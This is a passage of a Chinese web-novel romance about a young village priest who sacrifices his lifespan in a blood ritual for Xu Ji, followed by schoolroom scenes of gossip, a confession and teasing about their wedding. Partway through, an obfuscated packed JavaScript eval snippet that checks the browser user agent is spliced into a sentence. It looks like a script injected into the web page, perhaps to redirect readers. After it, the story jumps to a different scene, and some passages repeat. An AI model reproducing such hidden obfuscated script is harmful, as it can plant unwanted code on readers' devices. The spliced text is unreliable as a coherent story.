转身时，他从腰间拔出短刀，毫不犹豫地划向掌心。鲜血涌出来，温热的，带着他的体温，一滴滴落在青石板的纹路里。 沈司南按着古老的口诀低声吟诵，声音沙哑却字字清晰。随着他的话音落下，那些被鲜血浸染的纹路，竟一点点亮起了淡淡的金光。 阵眼的光芒越来越盛，许祭眉心的黑气一点点消散，胸口的起伏也渐渐平稳。而沈司南却觉得四肢百骸像是被千万根针扎着，疼得他浑身发抖，眼前阵阵发黑。 他死死咬着牙，不肯发出一声痛哼，目光始终落在许祭身上。血还在流，顺着纹路蜿蜒，将整个祭祀阵染成了一片暗红。 当最后一句口诀念完，金光骤然收敛，尽数涌入许祭的体内。许祭的睫毛轻轻颤了颤，脸色竟泛起一丝血色。 沈司南再也撑不住，踉跄着跌坐在地上，掌心的伤口还在渗血，他却顾不上，只是望着石台上的人，唇边露出一抹虚弱的笑。 他知道，这阵只能暂时压制许祭体内的反噬，樊粉菱和那系统还在暗处虎视眈眈。但只要许祭能平安，这点痛，这点代价，算得了什么。 夜风卷着山雾漫上祭祀台，沈司南拖着疲惫的身子挪到许祭身边，伸手握住他微凉的手，慢慢闭上了眼睛。 天蒙蒙亮时，上山采菌的族人最先撞见祭祀台上的景象，当即吓得手里的竹篮都摔在了地上。 消息传回寨子里，不过半炷香的功夫，几乎所有族人都涌到了后山脚下，隔着老远望着那片被血色浸染的石台，议论声嗡嗡地响成一片。 “那不是祭祀阵吗？多少年没人敢动这东西了！” “沈家小子疯了不成？用血亲之血引阵，是要折阳寿的啊！” “你们看，许祭躺在阵眼上，脸色好像好看些了，昨天他吐的那口血，我还以为……” 人群里的草药婆踮着脚望了半晌，重重叹了口气，声音里满是惋惜：“傻孩子，都是傻孩子。这阵法霸道，护得住一时，护不住一世啊。” 几个年长的老人皱着眉摇头，想起沈司南平日里沉默寡言，却总把许祭护在身后的模样，又忍不住低声念叨：“也是个重情的，许祭当年护过他，他这是拿命还啊。” 年轻一辈的后生们窃窃私语，眼神里带着敬畏：“听说这阵法是祖辈传下来的，要不是生死关头，谁会走这条路？” 风卷着山雾掠过人群，把祭祀台上两人相握的身影吹得愈发模糊。议论声渐渐低了下去，取而代之的是一片沉沉的叹息，混杂着说不清道不明的复杂情绪，在晨雾里久久不散。 许祭醒来时，日头已经爬到了窗棂上，暖融融的光洒在床沿，落在沈司南苍白的侧脸。他正趴在床边浅眠，掌心缠着的布条还渗着淡淡的血痕，是昨夜引阵时留下的。 许祭动了动手指，轻轻碰了碰他的手背。 沈司南猛地睁开眼，眼底的倦意瞬间褪去，连忙伸手探他的额头：“醒了？有没有哪里不舒服？” 许祭摇了摇头，声音还有点哑：“你怎么样？” 沈司南笑了笑，把他的手按回被子里，没提阵法的代价，只道：“我没事。” 他顿了顿，像是早就盘算好了，指尖轻轻摩挲着许祭的手背，声音放得很柔：“许祭，寨子里的事翻篇了，你也该回县城一中初中上学了。课本我都帮你收在书包里，校服也晒好了，等你身子彻底利索，就回学校去。” 许祭的动作顿住，愣了愣才开口：“就这么……回去？” “不然呢？”沈司南挑眉，伸手揉了揉他的头发，“你本来就是该坐在教室里读书的年纪，总不能一直窝在寨子里。功课落下了没关系，我帮你借了笔记，你慢慢补。” “那你呢？”许祭的声音轻了些，目光落在他缠着布条的掌心。 “我守着家，守着药铺。”沈司南的语气很平淡，像是在说一件再寻常不过的事，“你放学了就回来，周末咱们还能去溪边摸鱼。后山的菌子快长出来了，等你回来，咱们一起去采。” 窗外的风穿过竹隙，沙沙作响，带着山涧草木的清香。许祭望着沈司南眼底的认真，心里那点忐忑和不安，渐渐被暖意填满。他点了点头，伸手回抱住沈司南，下巴抵着他的肩膀，闷闷地应了一声：“好。” 沈司南轻轻拍着他的背，目光望向窗外连绵的青山，眼底一片安宁。 日子本就该是这样，没有纷争，没有算计，只有读书声和山间的风，还有他们守着彼此的岁岁年年。 许祭返校那天，没让沈司南多送，只在村口接过塞得鼓鼓的帆布书包，又攥紧那个装着草药的布包。 “我走了，你回去记得换药，别碰生水。”他看着沈司南苍白的脸色，又叮嘱了一遍。 沈司南揉了揉他的头发，笑着应下：“知道了，路上小心，到了学校给我捎个信。” 许祭点点头，转身踏上通往县城的土路。晨雾还没散尽，沾湿了他的裤脚，风里裹着泥土和青草的气息。他走得不快，走到拐角处忍不住回头，看见沈司南还站在原地，身影在雾里淡得像一幅水墨画。 县城一中的校门就在不远处，朗朗的读书声隔着一条街都能听见。许祭深吸一口气，理了理衣角，抬脚走了进去。 刚进教室，靠窗的林小满就猛地抬起头，朝他使劲挥手：“许祭！你可算回来了！” 许祭走到自己的座位放下书包，林小满立刻凑过来，手里的数学练习册还没合上：“你这阵子没来，王老师天天问你情况，说等你回来，她给你补……” 上课铃突然响了，王老师抱着教案走进教室，目光扫过全班，落在许祭身上时顿住，随即露出笑意：“许祭同学身体康复了？欢迎归队。” 全班同学齐刷刷转头看他，许祭的脸微微发烫，小声应道：“谢谢老师，我好多了。” 一节课的时间，周围的同学都借着课间挤过来，有递课堂笔记的，有塞奶糖的，叽叽喳喳的热闹劲儿，把许祭心里的那点生疏感冲得一干二净。 午休时，林小满拉着他去食堂打饭，脚步轻快得很：“对了，下周要摸底考，你可得抓紧补功课。还有，咱们班新转来个女生，听说是从市里来的，成绩超厉害……” 阳光穿过道旁的梧桐叶，在地上投下斑驳的光影。许祭咬了颗奶糖，甜味在舌尖漫开，心里忽然就想起了沈司南，想起寨子里清冽的溪水，还有后山崖上的雾。 原来，安稳的日子，真的能这么踏实。 晚自习的预备铃刚响，教室后门突然被人猛地推开。 陈杬祝站在门口，额角青筋暴起，目光像淬了冰的刀子，直直钉在许祭身上。不等许祭反应过来，她已经大步冲上前，抬手就狠狠扇了他一巴掌。 “啪”的一声脆响，在安静的教室里炸开。 许祭被打得偏过头，脸颊瞬间浮起清晰的红痕，嘴角隐隐渗出血丝。他捂着脸，错愕地看向陈杬祝，眼底满是茫然。 “你知不知道，你差点害死司南！”陈杬祝的声音尖利，带着压抑不住的愤怒和心疼，“祭祀阵折阳寿，他为了你，连命都不要了！你凭什么？” 这话一出，教室里瞬间炸开了锅。 同学们纷纷转过头，窃窃私语声此起彼伏，目光里满是好奇和震惊，齐刷刷地落在许祭和陈杬祝身上。 “天呐，她是谁啊？怎么突然打人？” “祭祀阵？折阳寿？这是什么东西？” “许祭看着挺安静的，怎么会惹上这种事？” “刚才那巴掌好狠，你看他脸都红透了……” 坐在许祭旁边的林小满连忙站起身，挡在许祭身前，皱着眉看向陈杬祝：“你谁啊？有话好好说，怎么能随便打人？” 陈杬祝根本没理她，依旧死死盯着许祭，眼眶泛红：“司南从小就护着你，你倒好，一次次给他惹麻烦！后山崖的事还不够吗？现在还要他用阳寿换你的命……” 许祭垂着眸，捂着脸的手指微微发颤，心里像是被什么东西狠狠揪住，密密麻麻的疼。他想起沈司南苍白的脸色，想起祭祀台上那片暗红的血迹，喉咙突然哽住，一句话也说不出来。 教室里的议论声越来越大，有几个胆子大的同学已经站起身，探头探脑地往这边看，空气中弥漫着尴尬又紧张的气息。 议论声像是涨潮的水，瞬间漫过了整个教室，嗡嗡的一片，盖过了窗外的虫鸣。 “我去，这巴掌也太狠了吧，许祭脸都红透了！”后排的男生偷偷戳了戳同桌的胳膊，眼睛瞪得溜圆。 “这女的谁啊？跟许祭什么仇什么怨？还说什么祭祀阵、折阳寿，听着怪吓人的。”前排的女生转过身，压低了声音，语气里满是好奇。 “许祭不是前段时间生病请假了吗？难道跟这事有关？”有人翻着手里的课本，眉头皱得紧紧的。 “沈司南……这名字我好像听过，是不是上次来给许祭送笔记的那个男生？看着挺温和的啊。” “怪不得许祭回来之后总有点闷闷的，原来还有这么多事……” “这女的也太不讲理了吧，有话不能好好说吗？上来就打人算什么本事。”林小满气鼓鼓地嘀咕，狠狠瞪了陈杬祝一眼。 窃窃私语声里，有好奇，有同情，还有些不明所以的揣测，像无数根细小的针，扎得人心里发慌。许祭垂着头，能感觉到四面八方投来的目光，烫得他后颈发麻。 晚自习的预备铃刚响到一半，陈杬祝那一巴掌落在许祭脸上的脆响，还在教室里嗡嗡地回荡。许祭被打得偏过头，半边脸颊以肉眼可见的速度浮起红肿的指印，嘴角细细的血丝渗出来，很快又被他下意识地抿进嘴里。他捂着脸，垂在身侧的手微微发颤，却没抬头，也没吭声。 陈杬祝还站在他面前，胸口剧烈起伏着，额角的青筋因为愤怒而格外明显。她伸手指着许祭，声音尖利得几乎要劈裂教室的安静：“许祭！司南是祭祀，你配不上他，还要害他！” 这话像一颗炸雷，瞬间在教室里炸开。原本只是窃窃私语的议论声，陡然拔高了好几度，同学们的目光齐刷刷地黏在两人身上，好奇、震惊、揣测的神色，像潮水一样漫过每一张年轻的脸庞。 就在这时，教室后门传来一阵极轻的脚步声。那脚步声不疾不徐，踩在走廊的水泥地上，却带着一种莫名的穿透力，竟渐渐压过了教室里的嗡嗡声。 所有人的目光下意识地往后转——沈司南站在门口。 他依旧穿着那件洗得发白的蓝色粗布衬衫，袖口挽到小臂，露出的手腕上还缠着一圈浅色的布条，布条边缘隐约透着一点暗红，是昨夜引阵时的伤口没完全愈合。他的脸色还是有些苍白，却挺直了脊背，目光平静地扫过教室里的人，最后落在陈杬祝身上，那眼神里没有怒意，却带着一种让人不敢直视的沉敛。 陈杬祝看见他的瞬间，像是被人抽走了浑身的力气，伸着的手指猛地僵住，声音也卡在了喉咙里，刚才那股尖利的气焰瞬间消散了大半，只剩下一丝慌乱：“司南……你怎么来了？” 沈司南没理她，脚步沉稳地穿过过道，走到许祭面前，侧身站定，将许祭完完全全挡在了身后。他的身形不算特别高大，却像一堵结实的墙，稳稳地隔开了所有投来的目光和议论。 许祭愣了愣，下意识地伸手去拉他的衣角，声音带着点沙哑的哽咽：“沈司南……” 沈司南反手握住他的手腕，指尖的温度微凉，却带着让人安心的力量。他没回头，只是轻轻捏了捏许祭的手指，像是在安抚，又像是在说“有我在”。 然后，他才缓缓抬眼看向陈杬祝，声音不高，却清晰地传遍了整个安静下来的教室：“我的事，什么时候轮到你来管了？” 陈杬祝的脸白了白，嘴唇动了动，还想辩解：“我是为了你好！你是寨子里的祭祀，是要守着祭祀阵的，他许祭就是个外人，凭什么让你为了他……” “他不是外人。”沈司南打断她的话，语气斩钉截铁，目光里带着不容置疑的坚定，“他是我放在心尖上的人，比祭祀的身份，比寨子的规矩，都重要。” 这话一出，教室里瞬间倒抽冷气的声音此起彼伏，议论声再次炸开，比刚才还要汹涌。 “卧槽！我没听错吧？沈司南这话也太刚了！”后排的男生激动地拍着桌子，引来周围一片附和的目光。 “之前就觉得他俩关系不一般，沈司南好几次来学校给许祭送东西，原来真的这么亲近啊！”靠窗的女生凑在一起，眼睛亮晶晶的，语气里满是八卦的兴奋。 “祭祀的身份听着好厉害，但是沈司南居然说许祭比身份还重要，这也太好磕了吧！”有女生捂着嘴，眼里满是羡慕的神色。 “陈杬祝刚才那副样子，明显是喜欢沈司南吧？结果被沈司南这么怼，也太没面子了。”有人开始同情起陈杬祝，却又忍不住觉得她刚才打人的行为太过分。 “许祭也太可怜了，平白无故挨了一巴掌，换我我都要哭了，还好沈司南来了。”坐在许祭斜前方的女生偷偷回头看了一眼，见许祭低着头，肩膀微微发颤，忍不住小声嘀咕。 “沈司南手腕上的布条是怎么回事？不会真的像陈杬祝说的，是为了许祭折了阳寿吧？”有人注意到沈司南手腕上的伤，忍不住开始猜测，语气里带着点后怕。 “管他什么祭祀不祭祀的，打人就是不对，沈司南怼得好！”林小满猛地站起身，朝着沈司南的方向偷偷比了个大拇指，引来周围同学的一阵哄笑。 “我以前听我奶奶说过，寨子里的祭祀都是很厉害的角色，不能随便动情的，沈司南这样，会不会违反寨规啊？”有知道一点寨子传闻的同学皱着眉，语气里满是担忧。 “违反又怎么样？没看见沈司南根本不在乎吗？为了许祭，连祭祀的身份都能不顾，这是什么神仙感情啊！” 议论声越来越大，各种议论声越来越大，各种猜测和讨论交织在一起，像一张密密麻麻的网，笼罩着整个教室。陈杬祝站在原地，脸色一阵红一阵白，最后像是被这些议论声刺得无地自容，她咬着唇，狠狠地瞪了一眼沈司南身后的许祭，又看了看沈司南坚定的眼神，终于什么都没说，捂着脸转身跑出了教室。 沈司南看着她的背影消失在门口，才缓缓转过身，目光落在许祭身上。许祭的脸颊依旧红肿，嘴角的血丝已经干涸，变成了一道浅浅的红痕。他的眼睛红红的，像是憋了很久的眼泪，终于忍不住落了下来，砸在手背上，烫得惊人。 “疼吗？”沈司南抬手，指尖小心翼翼地拂过许祭的脸颊，动作轻柔得像是怕碰碎了什么珍宝，声音里带着心疼的沙哑。 许祭没说话，只是伸手抱住了他的腰，将脸埋进他的怀里，肩膀微微耸动着，压抑的哭声透过布料传出来，闷闷的，却格外让人心疼。 沈司南轻轻拍着他的背，目光扫过教室里的同学，眼神里带着一点歉意，却也带着一点不容侵犯的护犊之意。同学们见状，也渐渐安静下来，有人悄悄转过头，有人拿出课本假装看书，却还是忍不住用余光偷偷瞄着他们。 窗外的月光透过梧桐叶的缝隙洒进来，落在两人相拥的身影上，温柔得像是一汪春水。教室里的议论声渐渐平息，只剩下晚风穿过窗棂的轻响，和许祭压抑的哭声。 过了很久，许祭的哭声才渐渐止住，他抬起头，眼眶通红地看着沈司南，声音带着浓重的鼻音：“你怎么来了？” 沈司南替他擦去脸上的泪痕，指尖的温度带着暖意：“怕你受委屈。” 简单的五个字，却像是一道暖流，瞬间涌遍了许祭的四肢百骸。他看着沈司南苍白却温柔的脸庞，看着他手腕上还在渗血的布条，心里像是被什么东西填满了，酸涩又温暖。 他知道，不管发生什么事，沈司南都一定会站在他身前，为他遮风挡雨，护他一世周全。 教室里的同学看着他们，议论声变成了窃窃私语，却再也没有了之前的好奇和揣测，只剩下一种说不清道不明的羡慕和敬佩。他们看着沈司南小心翼翼地替许祭整理好衣领，看着许祭伸手轻轻抚摸着沈司南手腕上的布条，看着两人相视一笑的模样，忽然觉得，刚才那些关于祭祀、关于规矩的议论，都变得不再重要了。 重要的是，在这一刻，他们眼里只有彼此。 晚自习的铃声再次响起，清脆的铃声打破了教室里的宁静。沈司南回头看了一眼讲台上的老师，又转过头看着许祭，轻声道：“好好上课，我在门口等你。” 许祭点了点头，眼眶还是红的，却露出了一抹浅浅的笑容。 沈司南揉了揉他的头发，转身朝着门口走去。他的背影挺直，带着一种从容不迫的坚定，像是无论面对什么风雨，都无所畏惧。 同学们看着他的背影消失在门口，又转过头看向许祭。许祭坐直了身子，脸上的红肿还没消退，却挺直了脊背，目光里带着一种前所未有的坚定。 他知道，只要沈司南在，他就什么都不怕了。 教室里的议论声彻底消失了，只剩下笔尖划过纸张的沙沙声，和窗外温柔的月光。 沈司南刚走出教室没几步，就撞见了抱着公文册的校长。校长姓周，头发花白，戴着一副黑框眼镜，平日里总是板着脸，此刻看见沈司南，却先是愣了一下，随即脸上的严肃褪去不少，快步走上前：“是司南啊，好久不见。” 这话一出，趴在走廊栏杆上偷偷张望的几个学生瞬间愣住了。 沈司南也微微颔首，语气里多了几分晚辈的恭敬：“周校长。” 周校长的目光落在他手腕缠着的布条上，眉头轻轻蹙起：“这是怎么了？伤得重不重？” “小伤，不碍事。”沈司南避重就轻地答了一句，又朝着教室的方向抬了抬下巴，“我来接许祭，刚才教室里有点动静，给您添麻烦了。” “麻烦谈不上。”周校长摆了摆手，眼底带着几分了然，“刚才那女生动手打人，我已经让人去处理了。许祭这孩子踏实，在学校里从没惹过事，你们的事，别闹到学校来，影响他上课。” 沈司南点头应下：“我知道，不会再让他受委屈了。” 周校长看着他，忽然叹了口气，语气复杂：“你爷爷当年就总说你性子犟，认准的事八头牛都拉不回来。罢了，年轻人的事，你们自己有数就行。” 两人并肩往办公室走，夕阳的余晖把他们的影子拉得老长，一路低声说着话，看起来竟是颇为熟稔的样子。 这一幕，被走廊上、教室里扒着窗户偷看的学生们看得一清二楚。 消息像长了翅膀，瞬间传遍了整个班级，议论声几乎要掀翻屋顶。 “我的天！校长居然认识沈司南！还叫他名字！他俩是什么关系啊？”前排的女生猛地转过头，声音里满是震惊，惹得周围一片附和。 “怪不得校长刚才没发火！原来他俩是旧识啊！沈司南到底什么来头啊？不仅是寨子里的祭祀，还认识校长！”后排的男生们也炸开了锅，一个个瞪大了眼睛，满脸的不可思议。 “你们听见没？校长还提到了沈司南的爷爷！难道他爷爷也是个厉害人物？”有同学抓着这个细节不放，越想越觉得沈司南的身份不简单。 “之前陈杬祝说沈司南是祭祀，我还以为是瞎编的，现在看来，这事十有八九是真的！能让校长另眼相看的人，肯定不一般！” “这么说，沈司南刚才护着许祭，根本就是有恃无恐啊！校长都给他撑腰，陈杬祝这下可踢到铁板了！” “许祭也太幸福了吧！有这么个又厉害又护着他的人在身边，谁还敢欺负他啊！”林小满拍着桌子，一脸激动地看向许祭，眼里满是羡慕，“许祭，你也太不够意思了，这么厉害的朋友，居然藏了这么久！” “我猜沈司南的爷爷以前肯定和校长是同事！不然校长怎么会对他这么客气？”有人开始脑补起两人的渊源，越说越离谱，却引得更多人加入讨论。 “完了完了，我之前还在背后偷偷议论沈司南，他该不会记仇吧？”有同学开始后怕，缩着脖子不敢说话，惹来周围一阵哄笑。 议论声嗡嗡地响着，各种猜测和脑补满天飞。许祭坐在座位上，听着周围的声音，脸上微微发烫，却忍不住抬眼望向窗外，看向沈司南和校长离去的方向，嘴角悄悄勾起一抹浅浅的笑意。 窗外的夕阳正好，把天边染成了一片温暖的橘红色，微风拂过梧桐叶，沙沙作响，像是在诉说着无人知晓的秘密。 教室里的议论声就没停过，前排后排的同学三三两两凑在一起，目光时不时往许祭的方向瞟，压低的声音里满是兴奋和好奇。 “你们说沈司南到底什么来头啊？校长居然都认识他，还提了他爷爷！” “肯定不一般啊！之前陈杬祝说他是寨子里的祭祀，我还以为是瞎话，现在看，十有八九是真的！” “而且他对许祭也太好了吧！刚才挡在许祭身前的样子，简直帅炸了！换我我都要心动了！” “还有他手腕上的伤，是不是真的像陈杬祝说的那样，是为了许祭才弄的啊？” 终于，几个胆子大的女生按捺不住，凑到许祭的课桌旁。领头的是坐在斜前方的张雅，她戳了戳许祭的胳膊，语气里满是八卦的兴奋：“许祭许祭，沈司南到底是你什么人啊？你们俩是不是从小一起长大的？” 这话一出，周围瞬间围过来一圈人，连林小满都凑了过来，眼神里满是期待。 “对啊对啊，”另一个女生跟着追问，“他爷爷是不是很厉害啊？校长都认识！还有他那个祭祀的身份，到底是干嘛的啊？是不是真的会那种……很厉害的法术？” “还有还有，”后排的男生也挤了过来，“刚才沈司南说你是他放在心尖上的人，这话也太苏了吧！你们俩平时都一起玩什么啊？” 七嘴八舌的问题像雨点一样砸过来，许祭被围在中间，脸颊微微发烫，他垂着眸，指尖轻轻抠着课本的边角，嘴角却忍不住微微上扬：“他是我最重要的人。” 就这一句话，瞬间引爆了全场。 “我就知道！”张雅激动地拍了下手，“我就说你们俩关系不一般！” “啊啊啊磕到了磕到了！”有女生捂着嘴尖叫，引来周围一片附和的哄笑。 “怪不得沈司南这么护着你，换我我也护着！”林小满拍了拍许祭的肩膀，一脸“我懂了”的表情。 许祭的脸更红了，他把脸埋进课本里，假装看书，耳朵却悄悄竖起来，听着周围的议论声，心里像是揣了一颗甜甜的糖，连带着刚才挨的那一巴掌的疼，都淡了不少。 晚自习的铃声刚落，教室后门又被推开。 进来的是副校长李沐阳，他穿着笔挺的西装，手里捏着一份教案，原本严肃的脸上，在瞥见教室角落站着的沈司南时，瞬间绽开笑意，快步走了过去，熟稔地拍了拍沈司南的肩膀：“哟，这不是沈大祭司嘛，什么风把你吹到我们一中来了？” “沈大祭司”四个字，像是一颗石子投进沸腾的水潭，瞬间让整个教室的议论声都拔高了八度。 沈司南回头，对着李沐阳微微颔首，语气淡了些，却也带着几分熟络：“李校长，好久不见。” “可不是嘛！”李沐阳哈哈一笑，目光落在他手腕的布条上，眉头皱了皱，“你这手是怎么回事？又去折腾后山的祭祀阵了？” 这话一出，教室里的同学们彻底炸开了锅，一个个伸长了脖子，眼睛瞪得溜圆，窃窃私语的声音几乎要冲破屋顶。 “沈大祭司！我的天，这称呼也太霸气了吧！”前排的女生捂着嘴，声音里满是震惊，“原来沈司南真的是祭司，还是‘大祭司’！” “副校长居然也认识他！还知道祭祀阵的事！这沈司南到底是什么神仙人物啊？”后排的男生激动地戳着同桌的胳膊，恨不得冲上去问个明白。 “怪不得校长对他客客气气的，连副校长都和他这么熟，这背景也太牛了吧！” “之前陈杬祝说他是寨子里的祭祀，我还以为是夸张，现在看来，是我们格局小了！” “大祭司啊……听着就好厉害，会不会真的会什么法术啊？比如祈福驱邪之类的？”有同学一脸向往地嘀咕，引来周围一片附和。 “许祭也太藏得住了吧！身边有这么厉害的朋友，居然一点风声都没漏过！”林小满凑到许祭身边，一脸“恨铁不成钢”的表情，“你不够意思啊，这么大的事居然瞒着我们！” 许祭坐在座位上，听着周围嗡嗡的议论声，脸颊微微发烫，却忍不住抬眼看向沈司南。 沈司南正和李沐阳低声说着什么，侧脸在窗外月光的映照下，轮廓分明，嘴角还带着一点浅浅的笑意。 那一刻，许祭忽然觉得，不管沈司南是什么身份，是寨子里的大祭司，还是什么厉害的人物，他永远都是那个会为了他，不顾一切挡在他身前的沈司南。 李沐阳和沈司南说了没几句，就拍了拍他的肩膀，转身朝着讲台走去，临走前还不忘回头调侃了一句：“有空多来学校转转，别总闷在寨子里，也让我们沾沾你的光。” 这话一出，教室里又是一阵哄笑，议论声更盛了。 李沐阳和沈司南聊了几句，目光一转，落在了座位上脸颊泛红的许祭身上，顿时勾起一抹促狭的笑，扬声打趣道：“许祭啊，按寨子里的规矩，那我们是不是要叫你一声嫂嫂啊？” 这话像一道惊雷，瞬间劈开了教室里的议论声浪，整个教室安静了半秒，随即爆发出震耳欲聋的哄笑和惊呼。 “嫂嫂！副校长这玩笑开得也太敢了吧！”后排的男生拍着桌子大笑，引来周围一片附和的口哨声。 “磕到了磕到了！副校长都在助攻，这对也太甜了吧！”靠窗的女生们抱在一起尖叫，眼睛亮得像是盛满了星星。 “原来寨子里还有这种规矩啊！那许祭岂不是真的和沈大祭司是一对？怪不得沈司南这么护着他！”有同学恍然大悟，激动地拽着同桌的胳膊晃个不停。 “许祭脸都红透了！快看快看，他把头埋进课本里了！”有人指着许祭的方向，语气里满是看热闹的兴奋。 “沈大祭司配许祭，这简直是强强联合啊！一个是寨子里的大祭司，一个是我们班的学霸，绝配！”林小满拍着手叫好，笑得见牙不见眼。 “完了完了，这下全校都要知道他俩的事了吧？副校长这一声嫂嫂，直接坐实了啊！” 议论声、哄笑声、调侃声交织在一起，震得人耳膜发颤。许祭把脸埋在课本里，滚烫的热度从脸颊蔓延到耳根，连指尖都染上了薄红，心里却像是揣了颗甜滋滋的糖，悄悄漾起一圈又一圈的涟漪。 沈司南闻言，无奈地瞪了李沐阳一眼，嘴角却忍不住勾起一抹浅淡的笑意，目光落在许祭泛红的耳尖上，温柔得快要溢出水来。 李沐阳这话刚落音，像是想起什么趣事，又笑着转向教室里瞪大眼的同学们，声音扬得老高，带着几分故意的抱怨：“我跟你们说啊，这个沈司南，实在太不仗义了！上次啊，他和许祭的婚礼，居然都没叫我去喝酒！” “轰——” 这话一出，整个教室彻底炸了锅，哄笑声、惊呼声差点掀翻屋顶，连窗外的虫鸣都被盖了过去。 “婚礼？！我没听错吧？他俩居然都办过婚礼了？”前排的女生猛地站起来，又赶紧坐下，捂着嘴瞪圆了眼，满脸的不敢置信。 “我的天！副校长都这么说了，那肯定是真的啊！怪不得沈司南护着许祭跟护着什么宝贝似的，原来早就定下来了！”后排的男生们拍着桌子起哄，口哨声此起彼伏。 “啊啊啊我磕的CP是真的！还偷偷办了婚礼！也太甜了吧！沈大祭司也太会了吧！”有女生激动得直跺脚，手里的笔都掉在了地上。 “没叫副校长喝酒？哈哈哈哈沈司南也太不地道了！这么大的事居然藏着掖着！” “许祭许祭，快说说！婚礼是什么样的？寨子里的婚礼是不是超有意思？”旁边的同学拽着许祭的胳膊晃个不停，眼里满是八卦的光芒。 “原来嫂嫂这个称呼，是真的能叫的啊！这下没人敢质疑了吧！”林小满笑得见牙不见眼，朝着许祭挤眉弄眼。 许祭的脸早就红透了，从脸颊一路烧到耳根，他把脸埋进课本里，恨不得找个地缝钻进去，耳朵却竖得老高，听着周围的喧闹，嘴角忍不住偷偷往上扬。 沈司南无奈地瞥了李沐阳一眼，眼底却满是笑意，他朝着教室里闹作一团的学生们摆摆手，声音里带着几分纵容的无奈：“别听他胡说，就是寨子里的长辈们凑在一起吃了顿饭。” “吃饭怎么了？吃饭也是认了亲的！”李沐阳立刻反驳，笑得一脸促狭，“反正啊，你们以后可得叫许祭一声嫂嫂，没毛病！” 这话又引来一阵哄笑，议论声更热闹了，连讲台上的老师都忍不住笑着摇了摇头，没再出声制止。 李沐阳啧了一声，故作惋惜地摇头，声音里满是调侃的意味：“说起来，那婚礼阵仗可不小，寨子里的长辈全到齐了，流水席摆了整整三天，听说连后山的老松树都挂了红绸，可惜了啊，我愣是没喝上一口喜酒！” 这话一出，教室里的喧闹声直接攀上了顶峰，连窗外的晚风都像是被惊动了，卷着梧桐叶沙沙作响。 “三天流水席！寨子里长辈全到齐！这阵仗也太顶了吧！”后排的男生一拍大腿，嗓门大得差点掀翻天花板，“怪不得沈司南护着许祭跟护眼珠子似的，这可是明媒正娶的！” “后山老松树挂红绸？这也太有仪式感了吧！寨子里的婚礼也太浪漫了吧！”靠窗的女生双手捧心，眼睛亮晶晶的，一脸羡慕，“我也好想参加这种婚礼啊！” “副校长也太惨了吧！这么大的场面居然没赶上，换我我得哭死！”有同学跟着起哄，引来周围一片哄笑。 “所以陈杬祝之前跑来闹，根本就是自取其辱啊！人家俩早就名正言顺了，她算哪根葱啊！”林小满翻了个白眼，语气里满是不屑，转头又戳了戳许祭的胳膊，“快说快说，婚礼当天你穿红衣服了没？好不好看？” “沈大祭司也太低调了吧！办这么大的婚礼居然一点风声都没漏，要不是副校长说，我们到现在都被蒙在鼓里！” “啊啊啊我现在满脑子都是他俩穿红绸拜堂的样子！画面感也太强了吧！这对CP我锁死了！钥匙我吞了！” 议论声、惊呼声、调侃声搅在一起，震得人耳膜发颤。许祭把脸埋在课本里，滚烫的热度从脸颊蔓延到脖颈，连指尖都在发烫，可嘴角却忍不住弯起一个藏不住的弧度。 沈司南无奈地看着李沐阳，眼底却漾着笑意，他朝着闹哄哄的教室抬了抬手，声音不大，却带着莫名的威慑力：“都安静点，别耽误他们上课。” 教室里瞬间静了大半，同学们你看我我看你，憋了几秒，又忍不住低下头，捂着嘴偷偷笑了起来。 李沐阳看着教室里闹作一团的模样，干脆把手里的教案往讲台上一放，笑着拍了拍手：“行了行了，看你们一个个心都飞了，今天晚自习就不上课了，咱们聊聊天！” 这话一出，教室里瞬间爆发出一阵欢呼，连平时最安静的几个学霸都忍不住拍起了手。 “副校长万岁！”后排的男生们兴奋地吹起了口哨，椅子腿摩擦地面的声音噼里啪啦响成一片。 “副校长太懂我们了！我有好多问题想问呢！”张雅举着手站起来，眼睛里满是亮光。 “终于不用刷题了！还是副校长好！”有同学趁机起哄，引来一阵附和的笑声。 李沐阳笑着摆摆手，示意大家安静，目光落在沈司南身上，故意拖长了语调：“当然了，聊天的主角，得是咱们的沈大祭司和……许祭嫂嫂！” 又是一阵哄笑，许祭的脸更红了，恨不得把自己埋进课桌里。沈司南无奈地摇了摇头，眼底却盛着化不开的温柔，伸手轻轻揉了揉许祭的头发，惹来教室里一片嗷嗷的起哄声。 李沐阳笑着朝门口的沈司南招招手，语气里满是熟稔的热情：“司南，站在门口干什么？进来坐！正好让同学们好好认识认识咱们寨子的大祭司。” 沈司南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“用三年寿命换平安……这是什么神仙感情啊？小说都不敢这么写吧！”有女生红了眼眶，声音哽咽，“沈司南也太爱许祭了，爱到连自己的命都不顾了！” “怪不得沈司南手腕上的伤一直没好，原来是引祭祀阵伤的根本！这代价也太大了！” “之前副校长说婚礼的事，我还在磕糖，现在突然觉得好心疼啊……他俩以后可怎么办啊？沈司南少了三年阳寿……” 议论声嗡嗡地响着，带着震惊、心疼、惋惜，还有说不清道不明的动容。 许祭坐在座位上，浑身的血液像是瞬间凝固了。他僵着身子，缓缓转过头看向身边的沈司南，嘴唇颤抖着，却一个字都说不出来。 沈司南看着他发白的脸色和泛红的眼眶，心里一紧，反手紧紧握住他的手，指尖的温度滚烫，却带着让人心安的力量。他张了张嘴，想解释什么，却被许祭眼里汹涌的泪水堵得喉咙发紧。 许祭的眼泪终于忍不住掉了下来，砸在手背上，滚烫得惊人。他死死咬着唇，不让自己哭出声，肩膀却控制不住地微微耸动。 李沐阳一看这架势，顿时慌了，连忙摆手，声音都带上了几分求饶的意味：“哎哎哎，嫂嫂别哭啊！你这一哭，沈司南肯定得揍我，我求你了，算我嘴欠行不行？” 这话一出，刚才还满是唏嘘的教室，瞬间爆发出一阵憋不住的哄笑。 “哈哈哈哈副校长也太怂了吧！居然怕沈司南揍他！”后排的男生笑得前仰后合，拍着桌子直乐。 “笑死我了！副校长这求生欲也太强了，一句话就认怂了！”张雅捂着肚子笑，眼泪都快出来了。 “原来沈大祭司还有这么凶的一面啊！连副校长都怕他，太逗了！”有同学跟着起哄，眼神里满是看热闹的笑意。 